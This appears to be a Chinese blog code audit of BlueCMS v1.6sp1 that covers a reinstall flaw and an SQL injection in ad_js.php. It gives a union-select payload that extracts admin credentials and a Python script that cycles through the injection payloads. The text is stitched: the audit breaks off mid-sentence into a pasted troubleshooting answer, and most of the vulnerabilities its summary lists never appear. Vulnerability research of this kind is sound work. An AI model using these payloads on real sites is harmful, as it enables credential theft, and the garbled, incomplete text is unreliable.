bluecms_v_1.6sp1代码审计

文章详细描述了BlueCMSv1.6sp1中的多个安全漏洞,包括重装漏洞(缺少install.lock文件生成),SQL注入(如ad_js.php和user.php中的宽字节注入),XSS漏洞(存储型XSS在guest_book.php和user.php中),文件包含漏洞(用户选择支付方式时的路径截断),SSRF漏洞(用户修改资料时的路径验证缺陷),以及任意文件删除漏洞(在user.php的个人资料更新中)。这些问题表明该CMS系统存在严重的安全风险。

bluecms_v_1.6sp1代码审计

cms概况

bluecms v1.6 sp1是一个比较古老的cms,目录结构也比较简单。网站主要防护在/include/common.inc.php文件中,对$_GET、$_POST、$_COOKIES、$_REQUEST使用deep_addslashes()函数过滤一遍,漏了$_SERVER,deep_addslashes函数是使用addslashes函数对输入值中的预定义字符做转义

代码审计

将代码放入seay源代码审计系统中自动审计,先对扫描出来疑似存在漏洞的地方审计一遍,然后在对重点功能或文件进行审计。

1、重装漏洞

在搭建实验环境的时候,但安装进行到最后一步时却网页空白显示,但实际上又确实是安装好了网站也可以正常 访问(搭建环境时记得修改php.ini文件调低其报错敏感程度,不然会报一些无关重要的错误)。

这时重新访问安转文件,依旧可以进入安转步骤

搭建完成 ,能够正常使用

在这里插入图片描述

访问安转文件,可以进入安转界面进行重装
在这里插入图片描述

一般cms安装完成后,都会生成一个类似install.lock的文件,用以检测cms已经安转好了。

这里安转完成是会在data目录生成一个 install.lock文件,但进入安装程序后检测是否有这个文件判断是否安装过了
在这里插入图片描述
在这里插入图片描述

这里安转好后却没有生成install.lock文件

测试发现原因是由于index.php文件开头和结尾都包含了/include/common.inc.php文件,而inc文件调用了smarty类文件,这里造成了重复调用,require错误,不会继续执行代码。也就不会生成install.lock文件,解决办法是将require 改成require_once,如果已经被包含,则不会再次包含。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、SQL注入 漏洞

  • ad_js.phpSQL注入

    使用seay源代码审计系统自动审计,手动检查发现ad_js.php中$ad_id参数没有过滤就直接拼接到SQL语句中

在这里插入图片描述

跟进getone函数

在这里插入图片描述

除了common.inc.php中deep_addslashes函数会转义预定义字符外再无任何过滤,直

当在输入 `http://127.0.0.1/bluecms/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,concat(admin_name,0x23,pwd)%20from%20blue_admin%20limit%200,1` 后页面空白,可从以下几个方面解决: #### 1. 检查SQL语句语法 构造的SQL语句可能存在语法错误,导致数据库查询失败,进而页面空白。可以先使用简单的SQL语句进行测试,如 `http://127.0.0.1/bluecms/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=1 and 1=1` 和 `http://127.0.0.1/bluecms/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=1 and 1=2`。如果第一个URL有正常输出,而第二个URL空白,说明注入点存在且基本环境正常。 #### 2. 检查数据库表和字段名 确认 `blue_admin` 表以及 `admin_name`、`pwd` 字段是否存在于数据库中。如果表名或字段名错误,查询将无法返回结果,页面就会空白。可以通过其他方式先确认数据库的表结构。 #### 3. 检查数据库连接和权限 确保数据库连接正常,并且当前使用的数据库用户有足够的权限查询 `blue_admin` 表。如果权限不足,查询会失败。可以查看数据库日志文件,确认是否有相关的权限错误信息。 #### 4. 检查网站配置和过滤机制 虽然 `ad_js.php` 对 `ad_id` 只做了 `trim()` 处理,但网站可能存在其他的安全过滤机制,如防火墙、WAF等,阻止了恶意的SQL注入请求。可以临时关闭相关的安全防护措施进行测试。 #### 5. 检查字符编码 确认数据库和网站的字符编码是否一致。如果编码不一致,可能会导致查询结果无法正常显示。可以在数据库配置文件中查看字符编码设置,并在网站代码中进行相应的调整。 ### 示例代码测试 以下是一个简单的Python脚本,用于测试不同的SQL注入语句: ```python import requests base_url = "http://127.0.0.1/bluecms/bluecms_v1.6_sp1/uploads/ad_js.php" test_payloads = [ "?ad_id=1 and 1=1", "?ad_id=1 and 1=2", "?ad_id=1 union select 1,2,3,4,5,6,concat(admin_name,0x23,pwd) from blue_admin limit 0,1" ] for payload in test_payloads: url = base_url + payload response = requests.get(url) print(f"Payload: {payload}") print(f"Response status code: {response.status_code}") print(f"Response content length: {len(response.text)}") print("-" * 50) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值